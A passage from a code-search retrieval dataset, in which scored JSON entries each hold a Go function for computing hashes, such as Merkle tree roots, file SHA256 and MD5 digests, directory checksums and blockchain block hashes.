a.allHashes[pos]\n\t}\n\n\tvar right *[sha256.Size]byte\n\tleft := a.calcHash(height-1, pos*2)\n\tif pos*2+1 < calcTreeWidth(a.numLeaves, height-1) {\n\t\tright = a.calcHash(height-1, pos*2+1)\n\t} else {\n\t\tright = left\n\t}\n\treturn concatDigests(left, right)\n}", "title": "" }, { "docid": "896237b076a04f2ba06cdd590fd0e9f9", "score": "0.51493764", "text": "func (tree *Trie) Hash() common.Hash {\n\thash, cached, _ := tree.hashRoot(nil)\n\ttree.root = cached\n\treturn common.BytesToHash(hash.(hashNode))\n}", "title": "" }, { "docid": "9b03a3e0a2b1b5e0b9bd43602b1837db", "score": "0.51461107", "text": "func (t *AVLTree) GetHash() (hash []byte, err error) {\r\n\tif t.trunk.isPlaceholder() {\r\n\t\terr = errEmptyTree\r\n\t\treturn\r\n\t}\r\n\r\n\thash = t.trunk.hash\r\n\r\n\treturn\r\n}", "title": "" }, { "docid": "b0fb7543ba684fb9eabe29c40082c9c5", "score": "0.5121481", "text": "func CalculateNodeHashes(commit, prev string, content [][]byte) (head, tail string) {\n\tfor _, line := range content {\n\t\th := jigStandardHasher()\n\t\tbinary.Write(h, binary.LittleEndian, uint32(len(commit)))\n\t\th.Write([]byte(commit))\n\t\tbinary.Write(h, binary.LittleEndian, uint32(len(prev)))\n\t\th.Write([]byte(prev))\n\t\th.Write(line)\n\t\tprev = h.Sum()\n\t\tif head == \"\" {\n\t\t\thead = prev\n\t\t}\n\t}\n\ttail = prev\n\treturn\n}", "title": "" }, { "docid": "9c8f90e4fa8209f32bec7a665151f444", "score": "0.5116409", "text": "func (a *AggregateAttestationAndProof) HashTreeRoot() ([32]byte, error) {\n\treturn ssz.HashWithDefaultHasher(a)\n}", "title": "" }, { "docid": "d2cac0792e579784ba2a26ef15e58e7c", "score": "0.51067495", "text": "func myHash(files []string, open func(string) (io.ReadCloser, error)) (string, error) {\n\th := sha1.New()\n\tfiles = append([]string(nil), files...)\n\tsort.Strings(files)\n\tfor _, file := range files {\n\t\tif strings.Contains(file, \"\\n\") {\n\t\t\treturn \"\", errors.New(\"dirhash: filenames with newlines are not supported\")\n\t\t}\n\t\tr, err := open(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\thf := sha1.New()\n\t\t_, err = io.Copy(hf, r)\n\t\tr.Close()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tfmt.Fprintf(h, \"%x %s\\n\", hf.Sum(nil), file)\n\t}\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}", "title": "" }, { "docid": "b60864991095a1581ac49cda1baaecad", "score": "0.51041216", "text": "func Hash(path string) (string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treader := bufio.NewReader(file)\n\n\tbuffer := make([]byte, 4*1024)\n\thashFunc := sha256.New()\n\tfor {\n\t\tn, err := reader.Read(buffer)\n\t\thashFunc.Write(buffer[:n])\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\thashVal := fmt.Sprintf(\"%x\", hashFunc.Sum(nil))\n\tlog.Println(hashVal, path)\n\treturn hashVal, nil\n}", "title": "" }, { "docid": "192b3eba6de692fe0ac26a5daa97b487", "score": "0.51035887", "text": "func (t *Hasher) TreeHash(tailHashes []hornet.Hash) []byte {\n\tif len(tailHashes) == 0 {\n\t\treturn t.EmptyRoot()\n\t}\n\tif len(tailHashes) == 1 {\n\t\treturn t.HashLeaf(tailHashes[0])\n\t}\n\n\tk := largestPowerOfTwo(len(tailHashes))\n\treturn t.HashNode(t.TreeHash(tailHashes[:k]), t.TreeHash(tailHashes[k:]))\n}", "title": "" }, { "docid": "37f47837bedf7535afdcf637819910c3", "score": "0.5094331", "text": "func calculateChecksum(cacache *cacache, name, version, integrity string) (md5 string, sha1 string, sha256 string, err error) {\n\tif integrity == \"\" {\n\t\tvar info *cacacheInfo\n\t\tinfo, err = cacache.GetInfo(name + \"@\" + version)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tintegrity = info.Integrity\n\t}\n\tvar path string\n\tpath, err = cacache.GetTarball(integrity)\n\tif err != nil {\n\t\treturn\n\t}\n\treturn utils.GetFileChecksums(path)\n}", "title": "" }, { "docid": "23dea22f897706e6d1bfb8094028451c", "score": "0.50926596", "text": "func (e *Entry) Hash() (tree.Hash, error) {\n\treturn e.hash(), nil\n}", "title": "" }, { "docid": "edd5c3a7c1b3bf6a5c0d60bf9938810d", "score": "0.5092437", "text": "func (fi HashedFileInfo) Hash() string {\n return fi.FileHash\n}", "title": "" }, { "docid": "85d2d148f154bd33afbeedf78d3eb5a8", "score": "0.5087941", "text": "func hash(text string) string {\n\treturn fmt.Sprintf(\"%x\", sha512.Sum512([]byte(text)))\n}", "title": "" }, { "docid": "378da2c740b77e642dc277d0d002f1fd", "score": "0.50676453", "text": "func (n *Node) calculateNodeHash(sort bool) ([]byte, error) {\n\tif n.leaf {\n\t\treturn n.C.CalculateHash()\n\t}\n\n\th := n.Tree.hashStrategy()\n\tif _, err := h.Write(sortAppend(sort, n.Left.Hash, n.Right.Hash)); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn h.Sum(nil), nil\n}", "title": "" }, { "docid": "f17adb3167ee4bed726b58bcb0aeca86", "score": "0.50672", "text": "func CalculateHash(block *Block) string {\r\n\r\n\tdata := string(block.Index) + block.Timestamp + block.PreHash\r\n\r\n\th := sha256.New()\r\n\th.Write([]byte(data))\r\n\thashed := h.Sum(nil)\r\n\r\n\treturn hex.EncodeToString(hashed)\r\n}", "title": "" }, { "docid": "3f746f8496704534d286b6960f2ee06f", "score": "0.5062378", "text": "func archivedScreenshotHash(game string) (h string, err error) {\n\tf, err := os.Open(filepath.Join(\"..\", \"screenshots\", game+\".png\"))\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer f.Close()\n\n\twanted := md5.New()\n\tif _, err = io.Copy(wanted, f); err != nil {\n\t\treturn\n\t}\n\th = fmt.Sprintf(\"%x\", wanted.Sum(nil))\n\treturn\n}", "title": "" }, { "docid": "8a709c9d96bdaeba1e6e58dd7aa7201e", "score": "0.50579906", "text": "func computeDirHash(md Markdown, c *Config) (string, error) {\n\tdir := filepath.Join(md.Root, c.PathScope)\n\tif _, err := os.Stat(dir); err != nil {\n\t\treturn \"\", err\n\t}\n\n\thashString := \"\"\n\terr := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {\n\t\tif !info.IsDir() && c.IsValidExt(filepath.Ext(path)) {\n\t\t\thashString += fmt.Sprintf(\"%v%v%v%v\", info.ModTime(), info.Name(), info.Size(), path)\n\t\t}\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tsum := md5.Sum([]byte(hashString))\n\treturn hex.EncodeToString(sum[:]), nil\n}", "title": "" }, { "docid": "10fdff259d3884efdb6698b28ce86a8a", "score": "0.50563073", "text": "func TestRootIndependentContentSha(t *testing.T) {\n\treq := require.New(t)\n\tmockFs := afero.Afero{Fs: afero.NewMemMapFs()}\n\terr := mockFs.WriteFile(\"path1/Chart.yaml\", []byte(\"chart.yaml\"), 0755)\n\treq.NoError(err)\n\terr = mockFs.WriteFile(\"path1/templates/README.md\", []byte(\"readme\"), 0755)\n\treq.NoError(err)\n\terr = mockFs.WriteFile(\"path2/Chart.yaml\", []byte(\"chart.yaml\"), 0755)\n\treq.NoError(err)\n\terr = mockFs.WriteFile(\"path2/templates/README.md\", []byte(\"readme\"), 0755)\n\treq.NoError(err)\n\n\tr := Resolver{\n\t\tFS: mockFs,\n\t\tStateManager: &state.MManager{\n\t\t\tLogger: log.NewNopLogger(),\n\t\t\tFS: mockFs,\n\t\t\tV: viper.New(),\n\t\t},\n\t}\n\n\tfirstPass, err := calculateContentSHA(r.FS, \"path1\")\n\treq.NoError(err)\n\n\tsecondPass, err := calculateContentSHA(r.FS, \"path2\")\n\treq.NoError(err)\n\n\treq.Equal(firstPass, secondPass)\n}", "title": "" }, { "docid": "e0b79090afc90b97c151a61e4124d6f1", "score": "0.50546795", "text": "func (merkle *ArrayBasedAutoEvenerMerkle) ComputeTree(hashes []Hashable) {\n\t// Add the leaf nodes to the merkle tree\n\t//\n\tmerkle.nodes = make([]string, len(hashes))\n\tmerkle.nbrLeafNodes = uint(len(hashes))\n\tfor index := 0; index < len(merkle.nodes); index++ {\n\t\tmerkle.nodes[index] = hashes[index].GetHash()\n\t}\n\n\t// compute the tree recursively, the last node is the root\n\t//\n\tmerkle.nodes = recursiveConstruct(merkle.nodes, 0)\n}", "title": "" }, { "docid": "d117e38d633ee390879a9dab870edf9e", "score": "0.5044058", "text": "func (p FileDigester2) MD5All(root string) (map[string][md5.Size]byte, error) {\n ts := time.Now()\n defer func() {\n fmt.Printf(\"FileDigester2.MD5All() execute time: %v\\n\", time.Now().Sub(ts))\n }()\n // MD5All closes the done channel when it returns; it may do so before\n // receiving all the values from c and errc.\n done := make(chan struct{})\n defer close(done)\n\n paths, errc := p.walkFiles(done, root)\n\n // Start a fixed number of goroutines to read and digest files.\n c := make(chan result) // HLc\n var wg sync.WaitGroup\n const numDigesters = 20\n wg.Add(numDigesters)\n for i := 0; i < numDigesters; i++ {\n go func() {\n p.digester(done, paths, c) // HLc\n wg.Done()\n }()\n }\n go func() {\n wg.Wait()\n close(c) // HLc\n }()\n // End of pipeline. OMIT\n\n m := make(map[string][md5.Size]byte)\n for r := range c {\n if r.err != nil {\n return nil, r.err\n }\n m[r.path] = r.sum\n }\n // Check whether the Walk failed.\n if err := <-errc; err != nil { // HLerrc\n return nil, err\n }\n return m, nil\n}", "title": "" }, { "docid": "c5671acd82d15c052a54c619112a6221", "score": "0.50349873", "text": "func (o *ociImage) Digest() (v1.Hash, error) {\n\th, _, err := v1.SHA256(bytes.NewReader(o.manifestData))\n\treturn h, err\n}", "title": "" }, { "docid": "5299a0d8a2910a3dddeb4f6c09aa3924", "score": "0.50311863", "text": "func TestTreeHashingPython4(t *testing.T) {\n\troot := New()\n\n\tx, _ := hex.DecodeString(\"0000000000000000000000000000000000000000000000000000000000000100\")\n\n\troot.Insert(zeroKeyTest, zeroKeyTest, nil)\n\troot.Insert(oneKeyTest, zeroKeyTest, nil)\n\troot.Insert(x, zeroKeyTest, nil)\n\n\tgot := bls.FrTo32(root.ComputeCommitment())\n\texpected, _ := hex.DecodeString(\"8755ef6cbe3392c6b646313c1566a41c67b90a40b45d9990965549ef5958d846\")\n\n\tif !bytes.Equal(got[:], expected) {\n\t\tt.Fatalf(\"incorrect root commitment %x != %x\", got, expected)\n\t}\n}", "title": "" }, { "docid": "b0490313d0f928982d4c827d4ac61a49", "score": "0.50289166", "text": "func hashImage( targetPath string, imageDirectory string ){\n\n // Create the hashfile\n var hashPath string = fmt.Sprintf( \"%s/%s\", imageDirectory, \"imageHashes.txt\" )\n file, err := os.Create( hashPath )\n // Handle any errors that may arise\n if err != nil {\n fmt.Printf(\"Hashfile creatation has failed.\\n\")\n log.Fatal(err)\n }\n\n // Calculate MD5 hash\n file.WriteString( \"MD5 Hash\\n\" )\n file.WriteString( \"--------\\n\" )\n out, err := exec.Command(\n \"md5sum\", targetPath ).Output()\n // Handle any errors that may arise\n if err != nil {\n fmt.Printf(\"Calculating the MD5 hash has failed.\\n\")\n log.Fatal(err)\n }\n // Print the MD5 hash to file\n file.WriteString( string(out) )\n\n // Calculate SHA256 hash\n file.WriteString( \"\\nSHA256\\n\" )\n file.WriteString( \"------\\n\" )\n out, err = exec.Command(\n \"shasum\", \"-a\", \"256\", targetPath ).Output()\n // Handle any errors that may arise\n if err != nil {\n fmt.Printf(\"Calculating the SHA256 hash has failed.\\n\")\n log.Fatal(err)\n }\n // Print the MD5 hash to file\n file.WriteString( string(out) )\n}", "title": "" }, { "docid": "943c0a9c796e35e9eb1efea67aeffc64", "score": "0.5023819", "text": "func (t tree) Digest(index uint64) (digest uint64) {\n\tif t.Get(index) {\n\t\treturn 1\n\t}\n\n\tdepthBit := 2\n\tnextIndex := ft.Sibling(index)\n\tparentIndex := ft.Parent(index)\n\tmaxTreeIndex := max(nextIndex+2, t.bitfield.Len())\n\n\trightNodesLeftToConsider := func(next uint64) bool { return ft.RightSpan(next) < maxTreeIndex }\n\tleftNodesLeftToConsider := func(parent uint64) bool { return ft.LeftSpan(parent) > 0 }\n\n\tfor (rightNodesLeftToConsider(nextIndex)) || (leftNodesLeftToConsider(parentIndex)) {\n\t\tif t.Get(nextIndex) {\n\t\t\tdigest |= uint64(depthBit)\n\t\t}\n\t\tif t.Get(parentIndex) {\n\t\t\tdigest |= uint64(2*depthBit + 1)\n\t\t\tif digest+uint64(1) == uint64(4*depthBit) {\n\t\t\t\treturn 1\n\t\t\t}\n\t\t}\n\t\tnextIndex = ft.Sibling(parentIndex)\n\t\tparentIndex = ft.Parent(nextIndex)\n\t\tdepthBit *= 2\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "cbeef4b96eae515d1cd8e5dcd2e2c294", "score": "0.50221485", "text": "func (a *AttesterSlashing) HashTreeRoot() ([32]byte, error) {\n\treturn ssz.HashWithDefaultHasher(a)\n}", "title": "" }, { "docid": "68e42321260d506868b0f7e2d3e6689c", "score": "0.50213426", "text": "func (layer *Layer) Digest() (v1.Hash, error) {\n\tif layer.compressedDigest != nil {\n\t\treturn *layer.compressedDigest, nil\n\t}\n\n\treader, err := layer.sourceReader()\n\tif err != nil {\n\t\treturn v1.Hash{}, err\n\t}\n\tdefer reader.Close()\n\n\tif layer.isCompressedType() {\n\t\treader, err = utils.CompressTargz(layer.sourcePath, layer.name, true)\n\t\tif err != nil {\n\t\t\treturn v1.Hash{}, err\n\t\t}\n\t}\n\n\thash, _, err := v1.SHA256(reader)\n\tif err != nil {\n\t\treturn v1.Hash{}, err\n\t}\n\n\tlayer.compressedDigest = &hash\n\n\treturn hash, nil\n}", "title": "" }, { "docid": "2b10067f5e407790da2d517703937118", "score": "0.5010639", "text": "func (o *ObjectInfo) Hash(ctx context.Context, ht hash.Type) (string, error) {\n\treturn \"\", nil // cannot know the checksum\n}", "title": "" }, { "docid": "cd1c858bf135c6fd149313b3ca913d8e", "score": "0.5002882", "text": "func CalcRootHash() {\n\te0, err := base64.StdEncoding.DecodeString(Entry0)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\th0 := sha256.Sum256(e0)\n\te1, err := base64.StdEncoding.DecodeString(Entry1)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\th1 := sha256.Sum256(e1)\n\te2, err := base64.StdEncoding.DecodeString(Entry2)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\th2 := sha256.Sum256(e2)\n\te3, err := base64.StdEncoding.DecodeString(Entry3)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\th3 := sha256.Sum256(e3)\n\n\thash01 := makeParent(h0[:], h1[:])\n\thash23 := makeParent(h2[:], h3[:])\n\troot := makeParent(hash01[:], hash23[:])\n\tlog.Println(base64.StdEncoding.EncodeToString(root[:]))\n}", "title": "" }, { "docid": "9346b91f69fe349fffe519a612cd85b1", "score": "0.4997427", "text": "func ComputeSha(data []byte) []byte {\n\th := sha256.New()\n\th.Write(data)\n\thash := h.Sum(nil)\n\treturn hash\n}", "title": "" }, { "docid": "2c63546af2366b5b1db4675e40a5bee9", "score": "0.49957353", "text": "func (a asuraResult) Hash() []byte {\n\tbz := aminoHash(a)\n\treturn bz\n}", "title": "" }, { "docid": "8280abee7b8e529d6a31507fc0a30e35", "score": "0.4993151", "text": "func DigestMsiTar(r io.Reader, hash crypto.Hash, extended bool) ([]byte, error) {\n\ttr := tar.NewReader(r)\n\td := hash.New()\n\tfor {\n\t\thdr, err := tr.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif hdr.Name == msiTarExMeta {\n\t\t\tif !extended {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\texmeta, err := ioutil.ReadAll(tr)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\td2 := hash.New()\n\t\t\td2.Write(exmeta)\n\t\t\tprehash := d2.Sum(nil)\n\t\t\td.Write(prehash)\n\t\t} else if hdr.Name == msiDigitalSignature || hdr.Name == msiDigitalSignatureEx {\n\t\t\tcontinue\n\t\t}\n\t\tif _, err := io.Copy(d, tr); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn d.Sum(nil), nil\n}", "title": "" }, { "docid": "7ec5c51b6b4c0347ea40e4bd2f1d58f2", "score": "0.49884495", "text": "func (p FileDigester) MD5All(root string) (map[string][md5.Size]byte, error) {\n ts := time.Now()\n defer func() {\n fmt.Printf(\"FileDigester.MD5All() execute time: %v\\n\", time.Now().Sub(ts))\n }()\n\n files := make([]string, 0)\n if err := p.walk(root, &files); err != nil { return nil, err }\n\n n := len(files)\n cidx := make(chan int)\n done := make(chan struct{})\n res := make([]result, n)\n\n for i := 0; i < n; i++ { go p.md5Worker(files, cidx, done, &res) }\n for i := 0; i < n; i++ { cidx <- i }\n for i := 0; i < n; i++ { done <- struct{}{} }\n\n m := make(map[string][md5.Size]byte)\n for _, r := range res {\n if r.err != nil {\n return nil, r.err\n }\n m[r.path] = r.sum\n }\n return m, nil\n}", "title": "" }, { "docid": "898bfd9865f7707e774239f424783f2f", "score": "0.4987724", "text": "func Hash1(files []string, open func(string) (io.ReadCloser, error)) (GoDirHash, error) {\n\th := sha256.New()\n\tfiles = append([]string(nil), files...)\n\tsort.Strings(files)\n\tfor _, file := range files {\n\t\tif strings.Contains(file, \"\\n\") {\n\t\t\treturn GoDirHash{}, errors.New(\"filenames with newlines are not supported\")\n\t\t}\n\t\tr, err := open(file)\n\t\tif err != nil {\n\t\t\treturn GoDirHash{}, err\n\t\t}\n\t\thf := sha256.New()\n\t\t_, err = io.Copy(hf, r)\n\t\tr.Close()\n\t\tif err != nil {\n\t\t\treturn GoDirHash{}, err\n\t\t}\n\t\tss := hf.Sum(nil)\n\t\t// fmt.Println(fmt.Sprintf(\"%x\\n\", ss))\n\t\tfmt.Fprintf(h, \"%x %s\\n\", ss, file)\n\t}\n\tbArr := h.Sum(nil)\n\thashSynthesized := fmt.Sprintf(\"%x\", bArr)\n\thashSynthesizedBase64 := Base64(bArr)\n\n\tallHash := GoDirHash{\n\t\tHashSynthesized: hashSynthesized,\n\t\tHashSynthesizedBase64: hashSynthesizedBase64,\n\t\tGoCheckSum: \"h1:\" + hashSynthesizedBase64,\n\t}\n\n\treturn allHash, nil\n}", "title": "" }, { "docid": "7d7c6a6c03cc1d0fa4e6ab7c726dc872", "score": "0.49870214", "text": "func (self Filename) Hash() []byte {\n\n}", "title": "" }, { "docid": "3406d8b01eb974ee0ad8de77b88ffa73", "score": "0.49858084", "text": "func (t Transaction) CalculateHash() ([]byte, error) {\n\th := sha256.New()\n\tif _, err := h.Write([]byte(t.ID)); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn h.Sum(nil), nil\n}", "title": "" }, { "docid": "ca553c73c40e0022416dcc929314c9be", "score": "0.4983948", "text": "func TestTreeHashingPython3(t *testing.T) {\n\troot := New()\n\n\tx, _ := hex.DecodeString(\"0001000000000000000000000000000000000000000000000000000000000000\")\n\n\troot.Insert(zeroKeyTest, zeroKeyTest, nil)\n\troot.Insert(oneKeyTest, zeroKeyTest, nil)\n\troot.Insert(x, zeroKeyTest, nil)\n\n\tgot := bls.FrTo32(root.ComputeCommitment())\n\texpected, _ := hex.DecodeString(\"9cc14a1a355b1d8012332773213e3448514ceae65a689546d78e7ab9aa34826f\")\n\n\tif !bytes.Equal(got[:], expected) {\n\t\tt.Fatalf(\"incorrect root commitment %x != %x\", got, expected)\n\t}\n}", "title": "" }, { "docid": "c036ddc1d80f45bea8a068976ed83795", "score": "0.49826908", "text": "func (i *IndexedAttestation) HashTreeRoot() ([32]byte, error) {\n\treturn ssz.HashWithDefaultHasher(i)\n}", "title": "" }, { "docid": "19d6ad5c82d1b2782b4fd05d546a8ff8", "score": "0.497789", "text": "func RootHash(tree []byte) []byte {\n\treturn hash2(salt, tree[:blockSize])\n}", "title": "" }, { "docid": "60ac0875aa1463d4bf646fcbb8beb7b0", "score": "0.4977301", "text": "func hash(fileAnnotation FileAnnotation) string {\n\tpath := \"\"\n\tif fileInfo := fileAnnotation.FileInfo(); fileInfo != nil {\n\t\tpath = fileInfo.ExternalPath()\n\t}\n\thash := sha256.New()\n\t_, _ = hash.Write([]byte(path))\n\t_, _ = hash.Write([]byte(strconv.Itoa(fileAnnotation.StartLine())))\n\t_, _ = hash.Write([]byte(strconv.Itoa(fileAnnotation.StartColumn())))\n\t_, _ = hash.Write([]byte(strconv.Itoa(fileAnnotation.EndLine())))\n\t_, _ = hash.Write([]byte(strconv.Itoa(fileAnnotation.EndColumn())))\n\t_, _ = hash.Write([]byte(fileAnnotation.Type()))\n\t_, _ = hash.Write([]byte(fileAnnotation.Message()))\n\treturn string(hash.Sum(nil))\n}", "title": "" }, { "docid": "946cdc1e15fcbd392741ba741b966829", "score": "0.49701336", "text": "func computeSingleHash() {\n\n\tvar computedHash string\n\n\tif cfg.hashType == \"SHA256\" {\n\t\th := sha256.New()\n\t\tcomputedHash = computeHash(cfg.filename, h)\n\n\t} else if cfg.hashType == \"SHA512\" {\n\t\th := sha512.New()\n\t\tcomputedHash = computeHash(cfg.filename, h)\n\n\t} else if cfg.hashType == \"SHA1\" {\n\t\th := sha1.New()\n\t\tcomputedHash = computeHash(cfg.filename, h)\n\n\t} else if cfg.hashType == \"MD5\" {\n\t\th := md5.New()\n\t\tcomputedHash = computeHash(cfg.filename, h)\n\t}\n\n\t// now we need to see how the output was specifed and deal with that\n\n\tt := table.NewWriter()\n\tt.SetOutputMirror(os.Stdout)\n\tt.AppendHeader(table.Row{\"Filename\", \"Hash\", \"Hash Type\"})\n\n\tt.AppendRows([]table.Row{\n\t\t{cfg.filename, computedHash, cfg.hashType},\n\t})\n\n\tt.AppendSeparator()\n\tt.Render()\n\n}", "title": "" }, { "docid": "026bde9d9e2dc4154310d51116d2a853", "score": "0.49695343", "text": "func (t *Tree) Build(\n\tctx context.Context, tr Transaction, sortedKVPairs []KeyValuePair) (rootHash Hash, err error) {\n\tt.Lock()\n\tdefer t.Unlock()\n\n\tlatestSeqNo, rootMetadata, err := t.eng.LookupLatestRoot(ctx, tr)\n\tif err != nil {\n\t\tif _, isNoLatestRootFoundError := err.(NoLatestRootFoundError); isNoLatestRootFoundError {\n\t\t\tt.CInfof(ctx, \"No root found. Starting a new merkle tree.\")\n\t\t\tlatestSeqNo = 0\n\t\t\trootMetadata = RootMetadata{}\n\t\t} else {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif err = t.eng.StoreKVPairs(ctx, tr, latestSeqNo+1, sortedKVPairs); err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar ms MasterSecret\n\tif t.cfg.useBlindedValueHashes {\n\t\tms, err = t.GenerateAndStoreMasterSecret(ctx, tr, latestSeqNo+1)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else {\n\t\tms = nil\n\t}\n\n\tvar newBareRootHash Hash\n\tif newBareRootHash, err = t.hashTreeRecursive(ctx, tr, latestSeqNo+1, ms,\n\t\t*t.cfg.getRootPosition(), sortedKVPairs); err != nil {\n\t\treturn nil, err\n\t}\n\n\tnewRootMetadata := t.makeNextRootMetadata(&rootMetadata, newBareRootHash)\n\n\tif err = t.eng.StoreRootMetadata(ctx, tr, newRootMetadata); err != nil {\n\t\treturn nil, err\n\t}\n\n\thash, err := t.cfg.encoder.EncodeAndHashGeneric(newRootMetadata)\n\n\treturn hash, err\n}", "title": "" }, { "docid": "eaf762ba337ab40e7ed75fa8dc164479", "score": "0.49619207", "text": "func Hash(filename string) (string, int64, string) {\n\tpartial := viper.GetBool(\"partial\")\n\tpartialSize := viper.GetInt64(\"limit\") * 1048576\n\n\tabsfile, _ := filepath.Abs(filename)\n\n\tf, err := os.Open(absfile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer f.Close()\n\n\tinfo, err := f.Stat()\n\tif err != nil {\n\t\treturn \"\", 0, \"\"\n\t}\n\n\tvar hashSize int64\n\t// If file is smaller than partial size, don't try to read more than the file's size\n\tif info.Size() < partialSize {\n\t\thashSize = info.Size()\n\t} else {\n\t\thashSize = partialSize\n\t}\n\n\t// Only use progress bar for files over this size\n\t//var useBar = info.Size() > (1 * 1000 * 1000)\n\t//useBar := true\n\n\t// Create progress bar reader\n\tvar bar *pb.ProgressBar\n\tbar = pb.Simple.Start64(info.Size())\n\tbar.Set(pb.SIBytesPrefix, true)\n\treader := bar.NewProxyReader(f)\n\n\th := sha256.New()\n\n\t// Only do a partial hash\n\tif partial {\n\t\tif _, err := io.CopyN(h, reader, hashSize); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t} else {\n\t\tif _, err := io.Copy(h, reader); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t}\n\n\tbar.Finish()\n\n\treturn absfile, info.Size(), fmt.Sprintf(\"%x\", h.Sum(nil))\n}", "title": "" }, { "docid": "724ffc075bc68a65b3e1c1c814980ad0", "score": "0.49591565", "text": "func (r *Replica) sha512(\n\tdesc roachpb.RangeDescriptor,\n\tsnap engine.Reader,\n\tsnapshot *roachpb.RaftSnapshotData,\n) ([]byte, error) {\n\thasher := sha512.New()\n\t// Iterate over all the data in the range.\n\titer := NewReplicaDataIterator(&desc, snap, true /* replicatedOnly */)\n\tdefer iter.Close()\n\tfor ; iter.Valid(); iter.Next() {\n\t\tkey := iter.Key()\n\t\tvalue := iter.Value()\n\n\t\tif snapshot != nil {\n\t\t\t// Add the k:v into the debug message.\n\t\t\tsnapshot.KV = append(snapshot.KV, roachpb.RaftSnapshotData_KeyValue{Key: key.Key, Value: value, Timestamp: key.Timestamp})\n\t\t}\n\n\t\t// Encode the length of the key and value.\n\t\tif err := binary.Write(hasher, binary.LittleEndian, int64(len(key.Key))); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := binary.Write(hasher, binary.LittleEndian, int64(len(value))); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif _, err := hasher.Write(key.Key); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\ttimestamp, err := protoutil.Marshal(&key.Timestamp)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif _, err := hasher.Write(timestamp); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif _, err := hasher.Write(value); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tsha := make([]byte, 0, sha512.Size)\n\treturn hasher.Sum(sha), nil\n}", "title": "" }, { "docid": "7c07877432810b17ff04a1396511cd0c", "score": "0.49413782", "text": "func fileContentHash(pth string) (string, error) {\n\tf, err := os.Open(pth)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdefer func() {\n\t\tif err := f.Close(); err != nil {\n\t\t\tlog.Errorf(\"Failed to close file (%s), error: %+v\", pth, err)\n\t\t}\n\t}()\n\n\th := md5.New()\n\tif _, err := io.Copy(h, f); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%x\", h.Sum(nil)), nil\n}", "title": "" }, { "docid": "7d382ff2f6fd8227cfa745c193418c62", "score": "0.49399412", "text": "func (self *Replication) treeHashHandler(msg Message) {\n // This is a request?\n if msg.Payload == nil || len(*msg.Payload) == 0 {\n msg.connection.Send(\"THASH\", self.store.HashTree().Hash())\n } else {\n var hash string\n if msg.DecodePayload(&hash) != nil {\n log.Printf(\"Error in THASH response\")\n return\n }\n // Both computers agree on the root hash? -> Done\n if hash == self.store.HashTree().Hash() {\n return\n }\n msg.connection.Send(\"TCHLD\", \"\")\n }\n}", "title": "" }, { "docid": "2df6893cdca2c2d07c5c3f001f16216a", "score": "0.492877", "text": "func (currfile *File) calcdigest() {\n\tf, err := os.Open(currfile.Pathname)\n\tif err != nil {\n\t\tcurrfile.DigestErr = err\n\t\treturn\n\t}\n\tdefer f.Close()\n\th := sha1.New()\n\tif _, err := io.Copy(h, f); err != nil {\n\t\tcurrfile.DigestErr = err\n\t\treturn\n\t}\n\tcurrfile.Digest = hex.EncodeToString(h.Sum(nil))\n}", "title": "" }, { "docid": "880bae88fd2a981256a9900f57001f06", "score": "0.49279895", "text": "func hash(domain []byte, tuple ...[]byte) []byte {\n\thash := sha512.New()\n\t/* #nosec */\n\thash.Write(domain)\n\tfor _, t := range tuple {\n\t\t/* #nosec */\n\t\thash.Write(t)\n\t}\n\treturn hash.Sum(nil)\n}", "title": "" }, { "docid": "6cca1eae9b541961683122af65d7ccd8", "score": "0.49279344", "text": "func (p FileDigester4) MD5All(root string) (map[string][md5.Size]byte, error) {\n ts := time.Now()\n defer func() {\n fmt.Printf(\"FileDigester4.MD5All() execute time: %v\\n\", time.Now().Sub(ts))\n }()\n\n files := make([]string, 0)\n if err := p.walk(root, &files); err != nil { return nil, err }\n\n n := len(files)\n cfile := make(chan string, n)\n cres := make(chan result, n)\n\n for i := 0; i < n; i++ { go p.md5Worker(cfile, cres) }\n for i := 0; i < n; i++ { cfile <- files[i] }\n close(cfile)\n\n m := make(map[string][md5.Size]byte)\n for i := 0; i < n; i++ {\n r := <-cres\n if r.err != nil {\n return nil, r.err\n }\n m[r.path] = r.sum\n }\n close(cres)\n\n return m, nil\n}", "title": "" }, { "docid": "796d539354fa06f6654bc918748564f5", "score": "0.49184263", "text": "func (s *ShadowStore) Hash(path string) []byte {\n\th := 